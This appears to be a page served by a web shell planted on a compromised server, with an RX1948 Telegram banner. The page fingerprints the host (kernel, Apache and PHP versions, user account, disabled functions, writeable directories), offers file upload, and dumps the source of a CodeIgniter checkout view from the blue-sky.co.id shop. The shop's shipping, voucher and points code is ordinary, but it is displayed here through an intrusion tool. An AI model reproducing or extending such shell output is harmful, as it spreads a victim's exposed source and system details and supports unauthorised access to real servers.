https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /var/www/blue-sky.co.id/public_html/application/views/ajax/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/blue-sky.co.id/public_html/application/views/ajax/ajax_reload_shipping_result.php
<style>
	.btn {
		border-radius: 5px !important;
	}
	.card {
		border: 1px solid black;
	}
	.table thead th {
		border-bottom: unset;
	}
	.table td, .table th {
		border-top: 1px solid black;
		border-bottom: 1px solid black;
	}
	@media (min-width: 768px) {
		#redeemPoint, #redeemVoucher {
			float: none;
		}
	}
</style>
<?php
	/* echo '<pre>';
	print_r($this->session->userdata('shipping_cart'));
	echo '</pre>'; */
	$condition_freeshipping = $this->session->userdata('condition_freeshipping');

	if(!$condition_freeshipping){
		$condition_freeshipping = false;
	}
?>
<div class="table-responsive">
	<table class="table" style="border-top:1px solid #999999; border-bottom:1px solid #999999;  width: 100%;">
		<thead>  
			<tr>
				<th><?= ucwords(lang('product_name'))?></th>
				<th class="hidden-xs-down"><?= ucwords(lang('price'))?></th>
				<th class="hidden-xs-down"><?= ucwords(lang('quantity'))?></th>
				<th class="hidden-xs-down"><?= ucwords(lang('sent'))?></th>
				<th class="hidden-xs-down"><?= ucwords(lang('shipping_method'))?></th>
				<th class="hidden-xs-down">Sub Total</th>
				<th class="hidden-xs-down"></th>
			</tr>	
		</thead>

		<tbody>
				<?php $count = 0; ?>
				<?php $grand_total = 0; ?>
				<?php $total_shipping_fee = 0; ?>
				<?php foreach ($this->session->userdata('shipping_cart') as $rowid => $item): ?>
					<?php 
					error_reporting(0);

					// $fs_cek_product = $this->db->select('id')->from('flashsale_products')->where('product_id',$item['id'])->where('flashsale_id',$this->session->userdata('flashsale_id_active'))->get()->row()->id;
					$fs_cek_product = null;
					
					$query_cek_flashsale_product = $this->db->
					select('id')->from('flashsale_products')
					->where('product_id', $item['product_id'])
					->where('flashsale_id',$this->session->userdata('flashsale_id_active'))
					->where('product_details_id',$item['id'])->get();

					if ($query_cek_flashsale_product->num_rows()>0) { 

						$fs_cek_product = $query_cek_flashsale_product->row()->id;
					}
					$count++; 

					?>
					
					<tr>
						<td class="hidden-xs-down">
							<?php if ($fs_cek_product != null): ?>
								<small style="color: red;border: 1px solid red;padding: 3px;border-radius: 6px;">Flash Sale</small>
								<br><br>
							<?php endif ?>
							<?= strtoupper($item['name']); ?><br>
							<?= get_attribute_name($item['attribute_detail_ids']); ?><br><span style="font-size: 12px;"><?= $item['sku']; ?></span>
						</td>
						<td class="hidden-xs-down">IDR <?= number_format($item['price']); ?><br>
						<?= $item['indent_message']; ?>	</td>

						<td style="width: 14%;" class="hidden-xs-down">
	<?php 
		if($fs_cek_product != null):
	?>
		<div class="count-input space-bottom" style="display: inline-block;">
          	<input style="text-align: center;" readonly="readonly" class="quantity productQuantity<?= $count; ?>" type="text" name="quantity" value="<?= $item['qty']; ?>"/>
        </div>
	<?php else: ?>
	<?php $css_btn_incr="margin-left:-9px;"; 
	if ($this->session->userdata('customer')):
		$css_btn_incr="margin-left:-17px;"; 	 
	?>
	<?php endif ?>												
	<div class="root_incr-btn count-input space-bottom" style="display: flex; justify-content: space-between;">
		<div class="div_incr-btn1" style="margin-top: 2px;  z-index:1;position: absolute;margin-left: 8px;">
			<a style="padding-bottom: 5px; padding-top: 2px;" class="incr-btn btnMin<?= $count; ?>" data-action="decrease" href="#">–</a>
		</div>
		<div class="div_incr-btn2" style="width: 100%;">
			<input style="width: 104%; text-align: center;" readonly="readonly" class="quantity productQuantity<?= $count; ?>" type="text" name="quantity" value="<?= $item['qty']; ?>"/>
		</div>
		<div class="div_incr-btn3" style="margin-top: 2px; <?= $css_btn_incr; ?>">
			<a style="padding-bottom: 5px; padding-top: 2px;" class="incr-btn btnAdd<?= $count; ?>" data-action="increase" href="#">&plus;</a>
		</div> 
		
    </div>
							<?php endif; ?>
							<p class="noStock<?= $count; ?>" style="color:red;"><?= $this->session->flashdata('no_stock' . $rowid); ?></p>
						</td>
						<td class="hidden-xs-down"><?= ucwords($item['warehouse_name']); ?><br>
							<!-- <span id="spinner<?= $count; ?>"><img width="40" src="<?= base_url('uploads/spinner.gif'); ?>"></span> -->
						</td>
						<td>
<ul id="shippingNameBlock<?= $count; ?>" style="list-style: none; padding-left: 0;">

	<?php $count_shipping = 0; ?>

	<?php foreach ($item['shipping_method_ids'] as $shipping_id) : ?>

		<?php $count_shipping = $count_shipping + 1; ?>

		<?php if($shipping_id == 2): ?>
			<?php
				//get self delivery fee from configuration table
				$this->db->select('shopdelivery_fee')->from('configuration')->where('id_configuration', 1);
				$shopdelivery_fee = $this->db->get()->row()->shopdelivery_fee;
				$shipping_name = 'Express';
				// $shipping_name = '2 Hour Delivery';
				$total_shipping_fee = $shopdelivery_fee;
			?> 
		<?php else : ?>
			<?php 
				$shipping_info = calculate_shipping_fee($shipping_id, $item['warehouse_id'], $item['product_id'], $item['id'], $item['qty'], $shipping->shipping_id_subdistrict); 
				$shipping_name = $shipping_info['shipping_name'];
				$total_shipping_fee = $shipping_info['total_shipping_fee'];
				if($shipping_id == 1){
					$shipping_name = 'Same Day'; 
				}
				if($shipping_id == 3){
					$shipping_name = 'Regular'; 
				}
				if($shipping_id == 4){
					$shipping_name = 'Next Day'; 
				}
			?>
		<?php endif; ?>

		<?php 
			$estimated_time = '';
			switch (strtolower(trim($shipping_name))) {
				case 'express':
					$estimated_time = '1-6h';
					break;

				case 'regular':
					$estimated_time = '1-3d';
					break;

				case 'next day':
					$estimated_time = '1d';
					break;

				case 'indent':
					$estimated_time = '1-3d';
					break;

				case 'same day':
					$estimated_time = '';
					break;
				
				default:
					# code...
					break;
			}
		?>	

		<?php if($total_shipping_fee > 0 || isset($shipping_info['free_shipping_applied'])) : ?>
	
			<li>
				<input type="radio" class="shipping_method<?= $rowid; ?>" name="shipping_method<?= $rowid; ?>" value="<?= $shipping_id; ?>"

				<?php if($item['chosen_shipping_id'] == $shipping_id) : ?>
					<?php $active_shipping_fee = $total_shipping_fee; ?>
					checked	
				<?php endif; ?>	
				> <?= ucwords($shipping_name)." ".strtoupper($estimated_time); ?> 

					<?php if($condition_freeshipping == true) : ?>
						(<?= ucwords(lang('free'))?>)
					<?php else: ?>
						<?php if($total_shipping_fee == 0) : ?>
							(<?= ucwords(lang('free'))?>)
						<?php else : ?>
							<?php if($shipping_id == 5) : ?>
								<!-- (TBC) -->
								(IDR <span id="shippingFee<?= $count_shipping; ?>"><?= number_format($total_shipping_fee); ?></span>)
							<?php else : ?>
								(IDR <span id="shippingFee<?= $count_shipping; ?>"><?= number_format($total_shipping_fee); ?></span>)
							<?php endif; ?>	
						<?php endif; ?>
					<?php endif; ?>	

						

			</li>	

		<?php endif; ?>

	<?php endforeach; ?>

</ul>
						</td>
						<td class="hidden-xs-down">
							IDR <span id="subTotal<?= $count; ?>"><?php echo number_format(($item['price'] * $item['qty'])); ?></span>
						</td>
			                
						<td class="hidden-xs-down" style="padding-left: 0px;">
							<a title="Hapus" href="<?= base_url('shipping/remove_shipping_cart') . '/' . $rowid; ?>">
								<i class="fa fa-trash"></i>
							</a>
						</td>
					</tr> 

					<!-- <?php /*$total_shipping_fee = $total_shipping_fee + $item['shipping_fee'];*/ ?> -->
					<script>
						jQuery(document).on('click', '.shipping_method<?= $rowid; ?>', function(){
	                		// alert('abc');
	                		jQuery('.buyButton').attr('disabled', true);
	                		jQuery('.btnMin<?= $count; ?>').attr('disabled', true);
							jQuery('.btnAdd<?= $count; ?>').attr('disabled', true);
							jQuery('.shipping_method<?= $rowid; ?>').attr('disabled', true);
	                		jQuery('#spinner<?= $count; ?>').show();
	                		var qty = jQuery('.productQuantity<?= $count; ?>').val();
	                		//jQuery('.productQuantity<?= $count; ?>').val(qty);
	                		ajax_get_subtotal<?= $count; ?>(qty, function(){
	                			var province 	= jQuery('#shipping_province').val();
		                		var subdistrict = jQuery('#shipping_subdistrict').val();
		                		ajax_get_grandtotal<?= $count; ?>(qty,subdistrict,province);
	                		});
	                	});
					</script>
					<?php $grand_total = $grand_total + $item['subtotal']; ?>

				<?php endforeach; ?>
				
			</form>
		</tbody>
	</table>
</div>

<div class="row">
	<div class="col-sm-6" style="padding-bottom: 15px;">
		<div class="row">
			<?php if($this->session->userdata('customer') && $this->session->userdata('customer')['customer_type'] == 'regular') : ?>
				<div class="col-sm-12">
									<p><?= ucwords(lang('you_have'))?> <?= $current_point; ?> <?= ucwords(lang('points'))?>. 1 <?= ucwords(lang('points'))?> <?= ucwords(lang('can_redeem'))?> IDR <?= $point_rewards->conversion;?></p>							
				</div>
			<?php endif; ?>						
			<div class="col-sm-6 col-6">
				<input class="form-control" type="number" id="point" placeholder="<?= ucwords(lang('point_rewards'))?>"
				<?php if(!$this->session->userdata('customer') || $this->session->userdata('customer')['customer_type'] == 'guest') : ?>
					readonly disabled
				<?php endif; ?>
				>
				<p id="error_point" style="color: red"></p>
			</div>
			<div class="col-sm-6 col-6">
				<a 
				<?php if(!$this->session->userdata('customer') || $this->session->userdata('customer')['customer_type'] == 'guest') : ?>
					readonly disabled
				<?php endif; ?>

				class="btn btn-primary btn-buy" id="redeemPoint" style="width: 150px;float: none;"><?= ucwords(lang('redeem'))?></a>
				<?php if($this->session->userdata('customer') && $this->session->userdata('customer')['customer_type'] == 'regular') : ?>
					<span id="spinnerPoint" style="position: absolute;"><img width="40" src="<?= base_url('uploads/spinner.gif'); ?>"></span>
				<?php endif; ?>
			</div>						
		</div>					
		<div class="row">
			<div class="col-sm-6 col-6">
				<input class="form-control" type="text" id="voucher" placeholder="VOUCHER"
				<?php if(!$this->session->userdata('customer') || $this->session->userdata('customer')['customer_type'] == 'guest') : ?>
					readonly disabled
				<?php endif; ?>
				>
				<p id="error_voucher" style="color: red"></p>
			</div>
			<div class="col-sm-6 col-6">
				<a 
				<?php if(!$this->session->userdata('customer') || $this->session->userdata('customer')['customer_type'] == 'guest') : ?>
					readonly disabled
				<?php endif; ?>

				class="btn btn-primary btn-buy" id="redeemVoucher" style="width: 150px;float: none;"><?= ucwords(lang('redeem'))?></a>
				<?php if($this->session->userdata('customer') && $this->session->userdata('customer')['customer_type'] == 'regular') : ?>
					<span id="spinnerVoucher" style="position: absolute;"><img width="40" src="<?= base_url('uploads/spinner.gif'); ?>"></span>
				<?php endif; ?>
			</div>
			<?php if(!$this->session->userdata('customer') || $this->session->userdata('customer')['customer_type'] == 'guest') : ?>
				<div class="col-sm-12">
					<p><a href="<?= base_url('login'); ?>" style="text-decoration: none; font-weight: bold; color:#CAA677;"><?= ucwords(lang('signin'))?></a> <?= ucwords(lang('to_enjoy'))?>.</p>
				</div>
			<?php endif; ?>
		</div>


		<input type="hidden" id="voucherprice_input">
		<input type="hidden" id="pointrewards_input">
	</div>
	<div class="col-sm-6">
		<style type="text/css">
			.tk_line{
				float: right;
				width: 70%;
				border-top: 1px solid black;
			}
			@media screen and (max-width: 768px){
				.tk_line{
					width: 100%;
				}
			}
		</style>
		<div class="row" style="height: 25px;">
			<div class="col-md-8 col-sm-6 col-6" style="text-align: right;">
				<p><span><?= ucwords(lang('product_total'))?> :</span></p>
			</div>
			<div class="col-md-4 col-sm-6 col-6" style="text-align: right;">
				<p><span>IDR </span><span id="totalItemAmount"><?= number_format($grand_total); ?></span></p>
			</div>						
		</div>
		<div id="voucherBlock" class="row" style="height: 25px;">
			<div class="col-md-8 col-sm-6 col-6" style="text-align: right;">
				<p><span>Voucher <span id="voucherdiscount"></span>:</span></p> 
			</div>
			<div class="col-md-4 col-sm-6 col-6" style="text-align: right;">
				<p><span>IDR </span><span id="voucherprice"><?= number_format(0); ?></span></p>
			</div>						
		</div>
		<div id="pointrewardBlock" class="row" style="height: 25px;">
			<div class="col-md-8 col-sm-6 col-6" style="text-align: right;">
				<p><span><?= ucwords(lang('point_rewards'))?> :</span></p>
			</div>
			<div class="col-md-4 col-sm-6 col-6" style="text-align: right;">
				<p><span>IDR </span><span id="pointrewards"><?= number_format(0); ?></span></p>
			</div>						
		</div>
		<div class="row" style="height: 25px;">
			<div class="col-md-8 col-sm-6 col-6" style="text-align: right;">
				<p><span><?= ucwords(lang('shipping_fee'))?> :</span></p>
			</div>
			<div class="col-md-4 col-sm-6 col-6" style="text-align: right;">
<?php if($condition_freeshipping == true) : ?>
		<?= ucwords(lang('free'))?>
<?php else: ?>
	<?php if($no_of_indent > 0 && $no_of_instock == 0) : ?>

		<?php if ($total_shipping_fee == 0): ?>
			<p><?= ucwords(lang('free'))?></p>
		<?php else: ?>
			<p>
				<!-- Tba -->
				<span>IDR </span><span id="totalShippingFee"><?= number_format($total_indent_shipping_fee); ?></span>
			</p> 
		<?php endif ?>


	<?php else : ?>
 
			
		<p><span>IDR </span><span id="totalShippingFee"><?= number_format($final_total_shipping_fee - $total_indent_shipping_fee); ?></span></p> 

		
	<?php endif; ?>

<?php endif; ?>	
			</div>				
		</div>

		<div id="freeshippingBlock" class="row" style="height: 25px;">
			<div class="col-md-8 col-sm-6 col-6" style="text-align: right;">
				<p><span><?= ucwords(lang('free_ship'))?> :</span></p>
			</div>
			<div class="col-md-4 col-sm-6 col-6" style="text-align: right;">
				<?php if($free_shipping_fee >= 0): ?>
					<?php if (isset($min_transaction)): ?>
						<?php if ($grand_total >= $min_transaction): ?>
							<?php $free_shipping_fee = $free_shipping_fee; ?>
						<?php else: ?>
							<?php $free_shipping_fee = 0; ?>
						<?php endif; ?>
					<?php endif ?>
					<p><span>IDR -</span><span id="totalFreeShippingFee"><?= number_format($free_shipping_fee); ?></span></p>
				<?php endif; ?>
			</div>						
		</div>

		<?php 
			$finalshippingfee = 0;
			$calculate_finalshippingfee = $final_total_shipping_fee - $free_shipping_fee;
			if($calculate_finalshippingfee > 0){
				$finalshippingfee = $calculate_finalshippingfee;
			}
		?>

		<div class="row indentInformation" style="font-weight: bold;text-align: right;padding-top: 5px;height: 45px">
			<div class="col-md-8 col-sm-6 col-6">
				<p><?= ucwords(lang('downpayment'))?> :</p>
			</div>
			<div class="col-md-4 col-sm-6 col-6" style="text-align: right;font-weight: bold;">
				<p><span style="font-size:100%;">IDR <span id="indentRemaining"><?= number_format($total_downpayment); ?></span></p>
			</div>						
		</div>

		<div class="row" style="height: 5px;">
			<div class="col-sm-12">
				<hr class="tk_line">
			</div>
		</div>

		<div class="row" style="font-weight: bold;text-align: right;padding-top: 15px;height: 25px; font-size:1.2rem;">
			<div class="col-md-8 col-sm-6 col-6">
				<p><span><?= ucwords(lang('total_price'))?> :</span></p>
			</div>
			<div class="col-md-4 col-sm-6 col-6">
				<p><span style="font-size:100%;">IDR 
					<span id="grandTotal">
						<?php if($condition_freeshipping == true) : ?>

							<?php 
							$finalshippingfee = 0;
							$total_indent_shipping_fee = 0;
							 ?>

						<?php endif; ?>
						<?= number_format($grand_total + $finalshippingfee - $total_indent_shipping_fee - $total_indent_amount + $total_downpayment); ?>
							
					</span>
				</p>	
			</div>		
		</div>

		<p style="margin-top: 35px;margin-bottom: 50px;font-size: 15px;font-weight: bold;" class="clearfix">
			<style>
				.btn-buy{
					width:250px;
					float: right;
					margin-right: 0px;
					margin-top: 0px;
				}
			</style>
			<button id="lanjutPembayaran" name="lanjutPembayaran" type="submit" class="btn btn-primary buyButton btn-buy hidden-xs-down"><?= ucwords(lang('payment'))?></button>
			<img style="display: none;float: right;" class="lanjutPembayaran_spinner" width="40" src="<?= base_url('uploads/spinner.gif'); ?>">
		</p>

		<script>
			/* jQuery(document).on('click', '.buyButton', function(e){
				
				if (!jQuery('#completeAddress').val(e)) {
				    e.preventDefault();
				    jQuery('#addressMessage').html('Alamat kirim harus diisi');
				    jQuery('#completeAddress').focus();
				}

				if (!jQuery('#shipping_district').val(e)) {
				    e.preventDefault();
				    jQuery('#addressMessage').html('Mohon memilih Kota/Kabupaten');
				    jQuery('#shipping_district').focus();
				}

				if (!jQuery('#shipping_subdistrict').val(e)) {
				    e.preventDefault();
				    jQuery('#addressMessage').html('Mohon memilih Kecamatan');
				    jQuery('#shipping_subdistrict').focus();
				}
			});	*/

			/* jQuery('#lanjutPembayaran').click(function() {
				jQuery('#lanjutPembayaran').hide("fast");
				jQuery('.lanjutPembayaran_spinner').show("fast");
			}); */
		</script>
	</div>
</div>

<script>
	jQuery(document).ready(function() {
		
		<?php if($contain_indent_product == 'no') : ?>
			jQuery('.indentInformation').hide();
		<?php endif; ?>	

		//initially hide point reward and voucher block...
		jQuery('#pointrewardBlock').hide();
		jQuery('#voucherBlock').hide();

		<?php if($free_shipping_fee == 0): ?>
			jQuery('#freeshippingBlock').hide();		
		<?php endif; ?>		
	});
</script>	

<?php $count = 0; ?>	
<?php foreach ($this->session->userdata('shipping_cart') as $rowid => $item): ?>
	<?php $count++; ?>

	<script>

	jQuery(document).ready(function() {

		jQuery('#spinner<?= $count; ?>').hide();
 

	});
	
	function ajax_check_stock<?= $count; ?>(qty) {

		jQuery.ajax({
			'url'       : '<?= base_url(); ?>' + 'ajax/ajax_check_stock_shipping',
			'type'      : 'POST',
			'data'      : {
					          'qty' : qty,
					          'warehouse_id': <?= $item['warehouse_id']; ?>,
					          'item_id' : <?= $item['id']; ?>,
					          'product_id' : <?= $item['product_id']; ?>,
					          'is_backorder': '<?= $item['is_backorder']; ?>',
							  '<?= $this->security->get_csrf_token_name(); ?>' : '<?= $this->security->get_csrf_hash(); ?>'
						  }, 
			'success'   : function(data) {
				if (data) { 
					/*---if stock not enough----*/
					jQuery('.noStock<?= $count; ?>').html(data);
				};
			}
		});
	}

	function ajax_change_shipping_fee<?= $count; ?>(qty) {

		//check selected shipping method
		var selected_shipping_method_id;
		selected_shipping_method_id = jQuery('input[name=shipping_method<?= $rowid; ?>]:checked').val();

		var province = jQuery('#shipping_province').val();
		var currentRequest1 = null;    

		currentRequest1 = jQuery.ajax({
			'url'       : '<?= base_url(); ?>' + 'ajax/ajax_change_shipping_fee',
			'type'      : 'POST',
			'data'      : {
						  'province' : province,
				          'qty' : qty,
				          'price' : <?= $item['price']; ?>,
				          'rowid' : '<?= $rowid; ?>',
				          'shipping_method_ids': '<?= implode(",", $item["shipping_method_ids"]); ?>',
				          'selected_shipping_method_id' : selected_shipping_method_id,  
				          'warehouse_id': <?= $item['warehouse_id']; ?>,
				          'shipping_id_subdistrict' : <?= $shipping->shipping_id_subdistrict; ?>,
				          'sub_total': <?= $item['subtotal']; ?>,
				          'product_id' : <?= $item['product_id']; ?>,
				          'item_id' : <?= $item['id']; ?>,
						  '<?= $this->security->get_csrf_token_name(); ?>' : '<?= $this->security->get_csrf_hash(); ?>'
						  }, 
			beforeSend : function() {           
		        if(currentRequest1 != null) {
		            currentRequest1.abort();
		        }
		    },			  
			'success'   : function(data) {
				if (data) { 
					jQuery('#shippingNameBlock<?= $count; ?>').html(data);
				};
			}
		});
	}

	function ajax_get_subtotal<?= $count; ?>(qty, grand_total) {

		//check selected shipping method
		var selected_shipping_method_id;
		selected_shipping_method_id = jQuery('input[name=shipping_method<?= $rowid; ?>]:checked').val();

		//check selected shipping method
		var currentRequest2 = null;    

		currentRequest2 = jQuery.ajax({
			'url'       : '<?= base_url(); ?>' + 'ajax/ajax_get_subtotal',
			'type'      : 'POST',
			'data'      : {
				          'qty' : qty,
				          'price' : <?= $item['price']; ?>,
				          'rowid' : '<?= $rowid; ?>',
				          'selected_shipping_method_id' : selected_shipping_method_id,  
				          'warehouse_id': <?= $item['warehouse_id']; ?>,
				          'shipping_id_subdistrict' : <?= $shipping->shipping_id_subdistrict; ?>,
				          'product_id' : <?= $item['product_id']; ?>,
				          'item_id' : <?= $item['id']; ?>,
						  '<?= $this->security->get_csrf_token_name(); ?>' : '<?= $this->security->get_csrf_hash(); ?>'
						  }, 
			beforeSend : function()    {           
		        if(currentRequest2 != null) {
		            currentRequest2.abort();
		        }
		    },			  
			'success'   : function(data) {
				if (data) { 
					jQuery('#subTotal<?= $count; ?>').html(data);
					grand_total();
				};
			}
		});
	}

	function ajax_get_grandtotal<?= $count; ?>(qty,subdistrict,province) {

		//check selected shipping method
		var currentRequest3 = null;    

		currentRequest3 = jQuery.ajax({
			'url'       : '<?= base_url(); ?>' + 'ajax/ajax_get_grandtotal',
			'type'      : 'POST',
			'data'      : {
							'using_ajax' : true,
							'province' : province,
							'subdistrict' : subdistrict,
						  	'<?= $this->security->get_csrf_token_name(); ?>' : '<?= $this->security->get_csrf_hash(); ?>'
						  }, 
			beforeSend : function()    {           
		        if(currentRequest3 != null) {
		            currentRequest3.abort();
		        }
		    },			  
			'success'   : function(data) {
				if (data) { 
					var total = JSON.parse(data);
					var indent_remaining = total.indent_remaining.toString().replace('-',''); 
					jQuery('#totalItemAmount').html(total.total_item_amount);
					jQuery('#firsttotal').html(total.total_item_amount);
					jQuery('#totalShippingFee').html(total.total_shipping_fee);
					jQuery('#totalFreeShippingFee').html(total.total_free_shipping_fee);
					jQuery('#finalshippingfee').html(total.finalshippingfee);
					jQuery('#grandTotal').html(total.grand_total);
					jQuery('#indentRemaining').html(indent_remaining);
					jQuery('#indentShippingFee').html(total.indent_shipping_fee);
					jQuery('.buyButton').attr('disabled', false);
					jQuery('.btnMin<?= $count; ?>').attr('disabled', false);
					jQuery('.btnAdd<?= $count; ?>').attr('disabled', false);
					jQuery('.shipping_method<?= $rowid; ?>').attr('disabled', false);
					jQuery('#spinner<?= $count; ?>').hide();

					jQuery('#voucher').val('');
					jQuery('#voucherprice_input').val(0);
					jQuery('#point').val('');
					jQuery('#pointrewards_input').val(0);
					jQuery('#voucherdiscount').html('')
					jQuery('#voucherprice').html('0');
					jQuery('#pointrewards').html('0');
				};
			}
		});
	}
</script>	

<?php endforeach; ?>

<?php if($this->session->userdata('customer') && $this->session->userdata('customer')['customer_type'] == 'regular') : ?>

	<script>
		jQuery(document).ready(function() {

			jQuery('#spinnerVoucher').hide();
			jQuery('#spinnerPoint').hide();

			jQuery("#redeemVoucher").click(function(){

				jQuery('#spinnerVoucher').show();
				var voucher = jQuery("#voucher").val();
				if(voucher == ''){
					jQuery('#error_voucher').html('Insert Voucher First !!!');
					jQuery('#spinnerVoucher').hide();
				}
				else{
					var pointprice = jQuery('#pointrewards_input').val();
					if(pointprice == ''){
						pointprice = 0;
					}
					else{
						pointprice = pointprice;
					}
					var id_customer = <?= $shipping->id_customers; ?>;
					var province 	= jQuery('#shipping_province').val();
					var subdistrict = jQuery('#shipping_subdistrict').val();
					jQuery('.buyButton').attr('disabled', true);
					ajax_set_voucher(voucher,pointprice,id_customer,province,subdistrict);
				}
			});

			jQuery("#redeemPoint").click(function(){

				jQuery('#spinnerPoint').show();
				var point = jQuery("#point").val();
				if(point == ''){
					jQuery('#error_point').html('Insert Point First !!!');
					jQuery('#spinnerPoint').hide();
				}
				else if(point < 0){
					jQuery('#error_point').html('Wrong Format Point !!!');
					jQuery('#spinnerPoint').hide();
				}
				else{
					var voucherprice = jQuery('#voucherprice_input').val();
					if(voucherprice == ''){
						voucherprice = 0;
					}
					else{
						voucherprice = voucherprice;
					}
					var id_customer = <?= $shipping->id_customers; ?>;
					var province 	= jQuery('#shipping_province').val();
					var subdistrict = jQuery('#shipping_subdistrict').val();
					jQuery('.buyButton').attr('disabled', true);
					ajax_set_point_rewards(voucherprice,point,id_customer,province,subdistrict);
				}
			}); 
			 
		});
		function ajax_set_voucher(voucher,pointprice,id_customer,province,subdistrict) {
			jQuery.ajax({
				'url'       : '<?= base_url(); ?>' + 'ajax/ajax_set_voucher',
				'type'      : 'POST',
				'data'      : {
								'voucher' : voucher,
								'pointprice' : pointprice,
								'id_customer' : id_customer,
								'province' : province,
								'subdistrict' : subdistrict,
								'<?= $this->security->get_csrf_token_name(); ?>' : '<?= $this->security->get_csrf_hash(); ?>'
							  }, 
				'success'   : function(data) {
					if (data) { 
						var total = JSON.parse(data);
						// jQuery('.indentInformation').show();
						if(total.voucherprice_input > 0){		
							 jQuery('#voucherBlock').show();
						} 
						if(total.voucherprice_input == 0){
							jQuery('#error_voucher').html(total.alert)
						}else{
							jQuery('#error_voucher').html('') 
						}
						// jQuery('#freeshippingBlock').show();

						jQuery('#totalItemAmount').html(total.total_item_amount);
						jQuery('#voucherdiscount').html(total.voucher_discount)
						jQuery('#voucherprice').html(total.voucherprice);
						jQuery('#voucherprice_input').val(total.voucherprice_input);
						// jQuery('#firsttotal').html(total.firsttotal);
						// jQuery('#totalShippingFee').html(total.total_shipping_fee);
						// jQuery('#totalFreeShippingFee').html(total.total_free_shipping_fee);
						// jQuery('#finalshippingfee').html(total.finalshippingfee);
						// jQuery('#grandTotal').html(total.grand_total);
						// jQuery('#error_voucher').html(total.alert);

						// plus 
						var totalItemAmount = parseInt(jQuery("span#totalItemAmount").html().split(",").join(''));
						var totalShippingFee = parseInt(0);
						if(jQuery("span#totalShippingFee").html() != undefined){
							totalShippingFee = parseInt(jQuery("span#totalShippingFee").html().split(",").join(''));
						}

						// min
						var voucherprice = parseInt(jQuery("span#voucherprice").html().split(",").join('').replace("-",""));
						var pointrewards = parseInt(jQuery("span#pointrewards").html().split(",").join('').replace("-",""));
						var totalFreeShippingFee = parseInt(jQuery("span#totalFreeShippingFee").html().split(",").join('').replace("-","")); 

						var indent_remaining = parseInt(jQuery('#indentRemaining').html().split(",").join('').replace("-",""));

						var php_total_shipping_fee = <?= (int)$total_shipping_fee; ?>; 

						var grand_total = 
						(totalItemAmount+
						totalShippingFee)-
						(voucherprice+
						pointrewards+
						totalFreeShippingFee) - indent_remaining; 

						if (php_total_shipping_fee>0) {
							grand_total = 
							totalItemAmount-
							(voucherprice+
							pointrewards+
							totalFreeShippingFee) - indent_remaining;
						}

						jQuery('#grandTotal').html(
							formatIDR(grand_total)
						);
						jQuery('#spinnerVoucher').hide();
						jQuery('.buyButton').attr('disabled', false);
					};
				}
			});
		}
		function ajax_set_point_rewards(voucherprice,point,id_customer,province,subdistrict) {
			jQuery.ajax({
				'url'       : '<?= base_url(); ?>' + 'ajax/ajax_set_point_rewards',
				'type'      : 'POST',
				'data'      : {
								'voucherprice' : voucherprice,
								'point' : point,
								'id_customer': id_customer,
								'province' : province,
								'subdistrict' : subdistrict,
								'<?= $this->security->get_csrf_token_name(); ?>' : '<?= $this->security->get_csrf_hash(); ?>'
							  }, 
				'success'   : function(data) {
					if (data) { 
						var total = JSON.parse(data);	
						// jQuery('.indentInformation').show();
						if(total.pointrewards_input > 0){		
							jQuery('#pointrewardBlock').show();
						} 
						// jQuery('#voucherBlock').show();
						// jQuery('#freeshippingBlock').show();	

						jQuery('#totalItemAmount').html(total.total_item_amount); 
						jQuery('#pointrewards').html(total.pointrewards); 
						jQuery('#pointrewards_input').val(total.pointrewards_input);

						// jQuery('#firsttotal').html(total.firsttotal); 
						 
						// var first_total = jQuery('#firsttotal').html().split(',').join(''); 
						// var total_ShippingFee = jQuery('#totalShippingFee').html().split(',').join(''); 
						// var grand_t = parseInt(first_total) + parseInt(total_ShippingFee); 
						// jQuery('#grandTotal').html(
						// 	formatIDR(grand_t)
						// 	);

						// plus 
						var totalItemAmount = parseInt(jQuery("span#totalItemAmount").html().split(",").join(''));
						var totalShippingFee = parseInt(0);
						if(jQuery("span#totalShippingFee").html() != undefined){
							totalShippingFee = parseInt(jQuery("span#totalShippingFee").html().split(",").join(''));
						}

						// min
						var voucherprice = parseInt(jQuery("span#voucherprice").html().split(",").join('').replace("-",""));
						var pointrewards = parseInt(jQuery("span#pointrewards").html().split(",").join('').replace("-",""));
						var totalFreeShippingFee = parseInt(jQuery("span#totalFreeShippingFee").html().split(",").join('').replace("-","")); 

						var indent_remaining = parseInt(jQuery('#indentRemaining').html().split(",").join('').replace("-",""));

						var php_total_shipping_fee = <?= (int)$total_shipping_fee; ?>; 

						var grand_total = 
						(totalItemAmount+
						totalShippingFee)-
						(voucherprice+
						pointrewards+
						totalFreeShippingFee) - indent_remaining; 
						
						if (php_total_shipping_fee>0) {
							grand_total = 
							totalItemAmount-
							(voucherprice+
							pointrewards+
							totalFreeShippingFee) - indent_remaining;
						}
						
						jQuery('#grandTotal').html(
							formatIDR(grand_total)
						);

						jQuery('#error_point').html(total.alert); 
						jQuery('#spinnerPoint').hide();
						jQuery('.buyButton').attr('disabled', false);
					};
				}
			});
		}
	</script>

<?php endif; ?>


https://t.me/RX1948 - 2025